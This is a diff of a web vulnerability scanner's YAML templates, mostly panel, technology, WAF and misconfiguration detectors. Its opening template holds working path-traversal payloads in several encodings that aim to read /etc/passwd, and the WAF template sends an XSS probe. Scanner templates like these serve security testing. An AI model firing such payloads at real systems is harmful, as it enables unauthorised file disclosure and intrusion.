+      - "/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd"
+      - "/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00"
+      - "/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+      - "/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd"
+      - "/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd"
+      - "/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
+      - "/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"
+    matchers:
+      - type: regex
+        words:
+          - "root:[x*]:0:0:"
+        part: body

generic-detections/basic-xss-prober.yaml

@@ -15,4 +15,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "'><injectable>"
+          - "\"><injectable>"

panels/aims-password-mgmt-client.yaml

@@ -0,0 +1,16 @@
+id: aims-password-mgmt-client
+
+info:
+  name: Aims Password Management Client Detect
+  author: iamthefrogy
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/aims/ps/"
+
+    matchers:
+      - type: word
+        words:
+          - "Avatier Corporation"

panels/globalprotect-panel.yaml

@@ -9,7 +9,11 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/global-protect/login.esp"
+      - "{{BaseURL}}/sslmgr"
+
     matchers:
       - type: word
         words:
           - "<title>GlobalProtect Portal</TITLE>"
+          - "<msg>Invalid parameters</msg>"
+        condition: or

panels/go-anywhere-client.yaml

@@ -0,0 +1,20 @@
+id: go-anywhere-client
+
+info:
+  name: GoAnywhere client login detection
+  author: iamthefrogy
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webclient/Login.xhtml"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: word
+        words:
+          - "Powered by GoAnywhere"
+          - "GoAnywhere.com"
+        condition: or

panels/manage-engine-admanager-panel.yaml

@@ -0,0 +1,15 @@
+id: manage-engine-admanager-panel
+
+info:
+  name: Manage Engine ADManager Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authorization.do"
+    matchers:
+      - type: word
+        words:
+          - "<title>ManageEngine - ADManager Plus</title>"

panels/network-camera-detect.yaml

@@ -0,0 +1,17 @@
+id: network-camera-detect
+
+info:
+  name: Various Online Devices Detection (Network Camera)
+  author: iamthefrogy
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CgiStart?page=Single"
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: word
+        words:
+          - <TITLE>Network Camera</TITLE>

panels/sonicwall-management-panel.yaml

@@ -0,0 +1,16 @@
+id: sonicwall-management-panel
+
+info:
+  name: SonicWall Management Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/auth.html"
+    matchers:
+      - type: word
+        words:
+          - "<title>SonicWall - Authentication</title>"
+          - "SonicWall Administrator"

panels/sonicwall-sslvpn-panel.yaml

@@ -0,0 +1,15 @@
+id: sonicwall-sslvpn-panel
+
+info:
+  name: SonicWall Virtual Office SSLVPN Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/welcome"
+    matchers:
+      - type: word
+        words:
+          - "<title>Virtual Office</title>"

panels/swagger-panel.yaml

@@ -36,10 +36,18 @@ requests:
       - "{{BaseURL}}/api/_swagger_/"
       - "{{BaseURL}}/api/spec/swagger.json"
       - "{{BaseURL}}/api/swagger/ui/index"
-      - "{{BaseURL}}/api/api/schema/"
+      - "{{BaseURL}}/__swagger__/"
+      - "{{BaseURL}}/_swagger_/"
+      - "{{BaseURL}}/swagger-resources/restservices/v2/api-docs"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "\"swagger\":"
           - "Swagger UI"
         condition: or
+
+      - type: status
+        status:
+          - 200

panels/virtual-ema-detect.yaml

@@ -0,0 +1,20 @@
+id: virtual-ema-detect
+
+info:
+  name: Virtual EMS Panel Detection
+  author: iamthefrogy
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/virtualems/Login.aspx"
+      - "{{BaseURL}}/VirtualEms/Login.aspx"
+
+    matchers:
+      - type: word
+        words:
+          - "Login"
+          - "Browse"
+          - "Welcome Guest"
+        condition: and

panels/workspace-one-uem.yaml

@@ -0,0 +1,19 @@
+id: workspace-one-uem
+
+# Reference:
+# https://twitter.com/Jhaddix/status/1295861505963909120
+
+info:
+  name: Workspace ONE UEM AirWatch Login Page
+  author: gevakun
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/AirWatch/Login"
+    matchers:
+      - type: word
+        words:
+          - "About VMware AirWatch"
+        part: body

security-misconfiguration/jupyter-ipython-unauth.yaml

@@ -0,0 +1,23 @@
+id: jupyter-ipython-unauth
+
+info:
+  name: Jupyter ipython Unauth
+  author: pentest_swissky
+  severity: critical
+  description: Unauthenticated access to Jupyter instance
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ipython/tree"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - ipython/static/components
+          - ipython/kernelspecs
+        part: body

security-misconfiguration/manage-engine-ad-search.yaml

@@ -0,0 +1,25 @@
+id: manage-engine-ad-search
+
+info:
+  name: Manage Engine AD Search
+  author: PR3R00T
+  severity: high
+  description: Manage Engine AD Manager service can be configured to allow anonymous users to browse the AD list remotely.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "ManageEngine"
+          - "ADManager"
+        condition: and

security-misconfiguration/salesforce-aura-misconfig.yaml

@@ -0,0 +1,24 @@
+id: salesforce-aura-misconfig
+
+info:
+  name: Detect the exposure of Salesforce Lightning aura API
+  author: aaron_costello (@ConspiracyProof)
+  severity: medium
+
+  # Reference:-
+  # https://www.enumerated.de/index/salesforce
+  # Severity of this misconfiguration depends of disclosed information.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/aura"
+      - "{{BaseURL}}/s/sfsites/aura"
+      - "{{BaseURL}}/sfsites/aura"
+    body: "{}"
+
+    matchers:
+      - type: word
+        words:
+          - 'aura:invalidSession'
+        part: body

security-misconfiguration/sidekiq-dashboard.yaml

@@ -0,0 +1,22 @@
+id: sidekiq-dashboard
+
+info:
+  name: sidekiq-dashboard
+  author: dhiyaneshDK
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sidekiq"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <title>Sidekiq</title>
+        part: body
+
+      - type: status
+        status:
+          - 200

subdomain-takeover/detect-all-takeovers.yaml

@@ -2,7 +2,7 @@ id: detect-all-takeovers
 
 info:
   name: Subdomain Takeover Detection
-  author: "melbadry9 & pxmme1337"
+  author: "melbadry9 & pxmme1337 & geeknik"
   severity: high
 
   # Update this list with new takeovers matchers
@@ -10,7 +10,7 @@ info:
   # https://github.com/EdOverflow/can-i-take-over-xyz
   # You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
   # Do not report subdomain takeover issues only based on detection.
-  # Total number of services #71
+  # Total number of services #72
 
 requests:
   - method: GET
@@ -290,11 +290,6 @@ requests:
         words:
           - Oops - We didn't find your site.
 
-      - type: word
-        name: thinkific
-        words:
-          - You may have mistyped the address or the page may have moved.
-
       - type: word
         name: tictail
         words:
@@ -392,4 +387,11 @@ requests:
           - "Not Found"
           - "server: Netlify"
         condition: and
-        part: all
+        part: all
+
+      - type: word
+        name: vercel
+        words:
+          - The deployment could not be found on Vercel.
+          - DEPLOYMENT_NOT_FOUND
+        condition: and

technologies/apache-detect.yaml

@@ -0,0 +1,27 @@
+id: apache-version-detect
+info:
+  name: Apache Version
+  author: philippedelteil
+  description: Some Apache servers have the version on the response header. The OpenSSL version can be also obtained
+  severity: info
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        part: header
+        regex:
+          - "Apache+"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Server

technologies/favicon-detection.yaml

@@ -92,3 +92,19 @@ requests:
         name: mobileiron
         dsl:
           - "len(body)==1734 && status_code==200 && (\"8a185957a6b153314bab3668b57f18f4\" == md5(body))"
+      - type: dsl
+        name: oracle
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))"
+      - type: dsl
+        name: hitachi
+        dsl:
+          - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))"
+      - type: dsl
+        name: fortinet
+        dsl:
+          - "len(body)==318 && status_code==200 && (\"e462005902f81094ab3de44e4381de19\" == md5(body))"
+      - type: dsl
+        name: meinberg
+        dsl:
+          - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))"

technologies/google-storage.yaml

@@ -0,0 +1,17 @@
+id: gstorage-detect
+
+info:
+  name: Google Bucket detection
+  author: 0xTeles
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+    matchers:
+      - type: word
+        words:
+          - x-goog-metageneration
+          - X-Goog-Metageneration
+        part: header

technologies/graphql.yaml

@@ -2,7 +2,7 @@ id: graphql
 
 info:
   name: GraphQL API
-  author: NkxxkN
+  author: NkxxkN & ELSFA7110
   severity: info
 
 requests:
@@ -15,10 +15,51 @@ requests:
       - "{{BaseURL}}/v1"
       - "{{BaseURL}}/v2"
       - "{{BaseURL}}/v3"
+      - "{{BaseURL}}/graphql-console"
+      - "{{BaseURL}}/query-laravel"
+      - "{{BaseURL}}/v3/subscriptions"
+      - "{{BaseURL}}/v3/graphql/schema.xml"
+      - "{{BaseURL}}/v3/graphql/schema.yaml"
+      - "{{BaseURL}}/v3/playground"
+      - "{{BaseURL}}/v3/graphql/schema.json"
+      - "{{BaseURL}}/graphql/schema.yaml"
+      - "{{BaseURL}}/graphql/schema.xml"
+      - "{{BaseURL}}/graphql/schema.json"
+      - "{{BaseURL}}/graphiql/finland"
+      - "{{BaseURL}}/graphiql.css"
+      - "{{BaseURL}}/graphql-devtools"
+      - "{{BaseURL}}/graphql/v1"
+      - "{{BaseURL}}/v1/graphql"
+      - "{{BaseURL}}/lol/graphql"
+      - "{{BaseURL}}/lol/graphql/v1"
+      - "{{BaseURL}}/api/graphql/v1"
+      - "{{BaseURL}}/portal-graphql"
+      - "{{BaseURL}}/graphql-playground"
+      - "{{BaseURL}}/laravel-graphql-playground"
+      - "{{BaseURL}}/query-explorer"
+      - "{{BaseURL}}/sphinx-graphiql"
+      - "{{BaseURL}}/express-graphql"
+      - "{{BaseURL}}/query"
+      - "{{BaseURL}}/HyperGraphQL"
+      - "{{BaseURL}}/graphql/graphql-playground"
+      - "{{BaseURL}}/graphql-playground-html"
+      - "{{BaseURL}}/graph_cms"
+      - "{{BaseURL}}/query-api"
+      - "{{BaseURL}}/api/cask/graphql-playground"
+      - "{{BaseURL}}/altair"
+      - "{{BaseURL}}/playground"
+
     headers:
       Content-Type: application/json
     body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'
+
+    matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - '{"data":{"__schema":{"queryType":'
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "__schema"
+          - "(Introspection|INTROSPECTION|introspection).*?"
+          - ".*?operation not found.*?"

technologies/kong-detect.yaml

@@ -0,0 +1,25 @@
+id: kong-detect
+info:
+  name: Detect Kong
+  author: geeknik
+  description: The Cloud-Native API Gateway - https://github.com/Kong/kong
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        part: header
+        regex:
+          - kong+
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Server

technologies/nifi-detech.yaml

@@ -0,0 +1,26 @@
+id: apache-nifi-detect
+
+info:
+  name: Apache NiFi detect
+  author: dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/access/config"
+      - "{{BaseURL}}/controller/config"
+      - "{{BaseURL}}/controller/registry-clients"
+      - "{{BaseURL}}/counters"
+      - "{{BaseURL}}/flow/registries"
+      - "{{BaseURL}}/system-diagnostics"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "supportsLogin"
+          - "disconnectedNodeAcknowledged"
+          - "(aggregate|node)Snapshots?"
+      - type: status
+        status:
+          - 200

technologies/oidc-detect.yaml

@@ -0,0 +1,21 @@
+id: oidc-detect
+info:
+  name: Detect OpenID Connect provider
+  author: jarijaas
+  severity: info
+  description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/openid-configuration"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - issuer
+          - authorization_endpoint
+        condition: and

technologies/pi-hole-detect.yaml

@@ -0,0 +1,23 @@
+id: pi-hole-detect
+info:
+  name: pi-hole detector
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/index.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Pi-hole"
+          - "Web Interface"
+          - "FTL"
+        part: body
+        condition: and

technologies/prometheus-exporter-detect.yaml

@@ -0,0 +1,29 @@
+id: prometheus-exporter-detect
+info:
+  name: Prometheus exporter detect
+  author: jarijaas
+  severity: info
+  description: Prometheus exporter detector
+
+# See https://github.com/prometheus/prometheus/wiki/Default-port-allocations
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Exporter # Exporters have "Exporter" in the page title (e.g, Node Exporter, Bind Exporter and so on)
+          - /metrics
+        condition: and
+    extractors: # Extract exporter name
+      - type: regex
+        part: body
+        name: exporter_name
+        group: 1
+        regex:
+          - "<title>(.*?)</title>"

technologies/tech-detect.yaml

@@ -2611,11 +2611,6 @@ requests:
         words:
           - "Server: nginx"
         part: header
-      - type: word
-        name: apache
-        words:
-          - "Server: Apache"
-        part: header
 
       - type: word
         name: php
@@ -2723,3 +2718,11 @@ requests:
           - "Server: Mida eFramework"
         condition: or
         part: all
+
+      - type: word
+        name: SEEEMS-CMS
+        words:
+          - "SEEEMS.CMS"
+          - "SEEEMS.FRAMEWORK"
+        condition: or
+        part: body

technologies/tomcat-detect.yaml

@@ -0,0 +1,29 @@
+id: tomcat-version-detect
+info:
+  name: Detect Tomcat Version
+  author: philippedelteil
+  description: If an Tomcat instance is deployed on the target URL, when we send a request for
+    a non existent resource we receive a Tomcat error page with version.
+  severity: info
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/something_not_existing_"
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Apache Tomcat"
+
+      - type: status
+        status:
+          - 404
+
+    extractors:
+      - type: regex
+        part: body
+        name: version
+        group: 2
+        regex:
+          - '(<h3>)(.*?)(</h3>)'

technologies/waf-detect.yaml

@@ -0,0 +1,660 @@
+id: waf-detect
+
+info:
+  name: WAF Detection
+  author: dwisiswant0
+  severity: info
+
+  # Source:
+  # - https://github.com/Ekultek/WhatWaf
+
+requests:
+  - raw:
+      - |
+          POST / HTTP/1.1
+          Host: {{Hostname}}
+          Content-Type: application/x-www-form-urlencoded
+
+          _=<script>alert(1)</script>
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: regex
+        name: instart
+        regex:
+          - '(?i)instartrequestid'
+        part: all
+      - type: regex
+        name: perimx
+        regex:
+          - '(?i)access.to.this.page.has.been.denied.because.we.believe.you.are.using.automation.tool'
+          - '(?i)http(s)?://(www.)?perimeterx.\w+.whywasiblocked'
+          - '(?i)perimeterx'
+          - '(?i)(..)?client.perimeterx.*/[a-zA-Z]{8,15}/*.*.js'
+        condition: or
+        part: all
+      - type: regex
+        name: webknight
+        regex:
+          - '(?i)\bwebknight'
+          - '(?i)webknight'
+        condition: or
+        part: all
+      - type: regex
+        name: zscaler
+        regex:
+          - '(?i)zscaler(.\d+(.\d+)?)?'
+          - '(?i)zscaler'
+        condition: or
+        part: all
+      - type: regex
+        name: fortigate
+        regex:
+          - '(?i).>powered.by.fortinet<.'
+          - '(?i).>fortigate.ips.sensor<.'
+          - '(?i)fortigate'
+          - '(?i).fgd_icon'
+          - '(?i)\AFORTIWAFSID='
+          - '(?i)application.blocked.'
+          - '(?i).fortiGate.application.control'
+          - '(?i)(http(s)?)?://\w+.fortinet(.\w+:)?'
+          - '(?i)fortigate.hostname'
+          - '(?i)the.page.cannot.be.displayed..please.contact.[^@]+@[^@]+\.[^@]+.for.additional.information'
+        condition: or
+        part: all
+      - type: regex
+        name: teros
+        regex:
+          - '(?i)st8(id|.wa|.wf)?.?(\d+|\w+)?'
+        condition: or
+        part: all
+      - type: regex
+        name: stricthttp
+        regex:
+          - '(?i)the.request.was.rejected.because.the.url.contained.a.potentially.malicious.string'
+        condition: or
+        part: all
+      - type: regex
+        name: stricthttp
+        regex:
+          - '(?i)rejected.by.url.scan'
+          - '(?i)/rejected.by.url.scan'
+        condition: or
+        part: all
+      - type: regex
+        name: shadowd
+        regex:
+          - '(?i)<h\d>\d{3}.forbidden<.h\d>'
+          - '(?i)request.forbidden.by.administrative.rules.'
+        condition: or
+        part: all
+      - type: regex
+        name: bigip
+        regex:
+          - '(?i)\ATS\w{4,}='
+          - '(?i)bigipserver(.i)?|bigipserverinternal'
+          - '(?i)^TS[a-zA-Z0-9]{3,8}='
+          - '(?i)BigIP|BIG-IP|BIGIP'
+          - '(?i)bigipserver'
+        condition: or
+        part: all
+      - type: regex
+        name: edgecast
+        regex:
+          - '(?i)\Aecdf'
+        condition: or
+        part: all
+      - type: regex
+        name: radware
+        regex:
+          - '(?i).\bcloudwebsec.radware.com\b.'
+          - '(?i).>unauthorized.activity.has.been.detected<.'
+          - '(?i)with.the.following.case.number.in.its.subject:.\d+.'
+        condition: or
+        part: all
+      - type: regex
+        name: varnish
+        regex:
+          - '(?i)varnish'
+          - '(?i).>.?security.by.cachewall.?<.'
+          - '(?i)cachewall'
+          - '(?i).>access.is.blocked.according.to.our.site.security.policy.<+'
+        condition: or
+        part: all
+      - type: regex
+        name: infosafe
+        regex:
+          - '(?i)infosafe'
+          - '(?i)by.(http(s)?(.//)?)?7i24.(com|net)'
+          - '(?i)infosafe.\d.\d'
+          - '(?i)var.infosafekey='
+        condition: or
+        part: all
+      - type: regex
+        name: aliyundun
+        regex:
+          - '(?i)error(s)?.aliyun(dun)?.(com|net)'
+          - '(?i)http(s)?://(www.)?aliyun.(com|net)'
+        condition: or
+        part: all
+      - type: regex
+        name: ats
+        regex:
+          - '(?i)(\()?apachetrafficserver((\/)?\d+(.\d+(.\d+)?)?)'
+          - '(?i)ats((\/)?(\d+(.\d+(.\d+)?)?))?'
+        condition: or
+        part: all
+      - type: regex
+        name: malcare
+        regex:
+          - '(?i)malcare'
+          - '(?i).>login.protection<.+.><.+>powered.by<.+.>(<.+.>)?(.?malcare.-.pro|blogvault)?'
+          - '(?i).>firewall<.+.><.+>powered.by<.+.>(<.+.>)?(.?malcare.-.pro|blogvault)?'
+        condition: or
+        part: all
+      - type: regex
+        name: wts
+        regex:
+          - '(?i)(<title>)?wts.wa(f)?(\w+(\w+(\w+)?)?)?'
+        part: all
+      - type: regex
+        name: dw
+        regex:
+          - '(?i)dw.inj.check'
+        part: all
+      - type: regex
+        name: denyall
+        regex:
+          - '(?i)\Acondition.intercepted'
+          - '(?i)\Asessioncookie='
+        condition: or
+        part: all
+      - type: regex
+        name: yunsuo
+        regex:
+          - '(?i)<img.class=.yunsuologo.'
+          - '(?i)yunsuo.session'
+        condition: or
+        part: all
+      - type: regex
+        name: litespeed
+        regex:
+          - '(?i)litespeed.web.server'
+        part: all
+      - type: regex
+        name: cloudfront
+        regex:
+          - '(?i)[a-zA-Z0-9]{,60}.cloudfront.net'
+          - '(?i)cloudfront'
+          - '(?i)x.amz.cf.id|nguardx'
+        condition: or
+        part: all
+      - type: regex
+        name: anyu
+        regex:
+          - '(?i)sorry.{1,2}your.access.has.been.intercept(ed)?.by.anyu'
+          - '(?i)anyu'
+          - '(?i)anyu-?.the.green.channel'
+        condition: or
+        part: all
+      - type: regex
+        name: googlewebservices
+        regex:
+          - '(?i)your.client.has.issued.a.malformed.or.illegal.request'
+          - '(?i)our.systems.have.detected.unusual.traffic'
+          - '(?i)block(ed)?.by.g.cloud.security.policy.+'
+        condition: or
+        part: all
+      - type: regex
+        name: didiyun
+        regex:
+          - '(?i)(http(s)?://)(sec-waf.|www.)?didi(static|yun)?.com(/static/cloudwafstatic)?'
+          - '(?i)didiyun'
+        condition: or
+        part: all
+      - type: regex
+        name: blockdos
+        regex:
+          - '(?i)blockdos\.net'
+        part: all
+      - type: regex
+        name: codeigniter
+        regex:
+          - '(?i)the.uri.you.submitted.has.disallowed.characters'
+        part: all
+      - type: regex
+        name: stingray
+        regex:
+          - '(?i)\AX-Mapping-'
+        part: all
+      - type: regex
+        name: west263
+        regex:
+          - '(?i)wt\d*cdn'
+        part: all
+      - type: regex
+        name: aws
+        regex:
+          - '(?i)<RequestId>[0-9a-zA-Z]{16,25}<.RequestId>'
+          - '(?i)<Error><Code>AccessDenied<.Code>'
+          - '(?i)x.amz.id.\d+'
+          - '(?i)x.amz.request.id'
+        condition: or
+        part: all
+      - type: regex
+        name: yundun
+        regex:
+          - '(?i)YUNDUN'
+          - '(?i)^yd.cookie='
+          - '(?i)http(s)?.//(www\.)?(\w+.)?yundun(.com)?'
+          - '(?i)<title>.403.forbidden:.access.is.denied.{0,2}<.{0,2}title>'
+        condition: or
+        part: all
+      - type: regex
+        name: barracuda
+        regex:
+          - '(?i)\Abarra.counter.session=?'
+          - '(?i)(\A|\b)?barracuda.'
+          - '(?i)barracuda.networks.{1,2}inc'
+        condition: or
+        part: all
+      - type: regex
+        name: dodenterpriseprotection
+        regex:
+          - '(?i)dod.enterprise.level.protection.system'
+        part: all
+      - type: regex
+        name: secupress
+        regex:
+          - '(?i)<h\d*>secupress<.'
+          - '(?i)block.id.{1,2}bad.url.contents.<.'
+        condition: or
+        part: all
+      - type: regex
+        name: aesecure
+        regex:
+          - '(?i)aesecure.denied.png'
+        part: all
+      - type: regex
+        name: incapsula
+        regex:
+          - '(?i)incap_ses|visid_incap'
+          - '(?i)incapsula'
+          - '(?i)incapsula.incident.id'
+        condition: or
+        part: all
+      - type: regex
+        name: nexusguard
+        regex:
+          - '(?i)nexus.?guard'
+          - '(?i)((http(s)?://)?speresources.)?nexusguard.com.wafpage'
+        condition: or
+        part: all
+      - type: regex
+        name: cloudflare
+        regex:
+          - '(?i)cloudflare.ray.id.|var.cloudflare.'
+          - '(?i)cloudflare.nginx'
+          - '(?i)..cfduid=([a-z0-9]{43})?'
+          - '(?i)cf[-|_]ray(..)?([0-9a-f]{16})?[-|_]?(dfw|iad)?'
+          - '(?i).>attention.required!.\|.cloudflare<.+'
+          - '(?i)http(s)?.//report.(uri.)?cloudflare.com(/cdn.cgi(.beacon/expect.ct)?)?'
+          - '(?i)ray.id'
+          - '(?i)__cfduid'
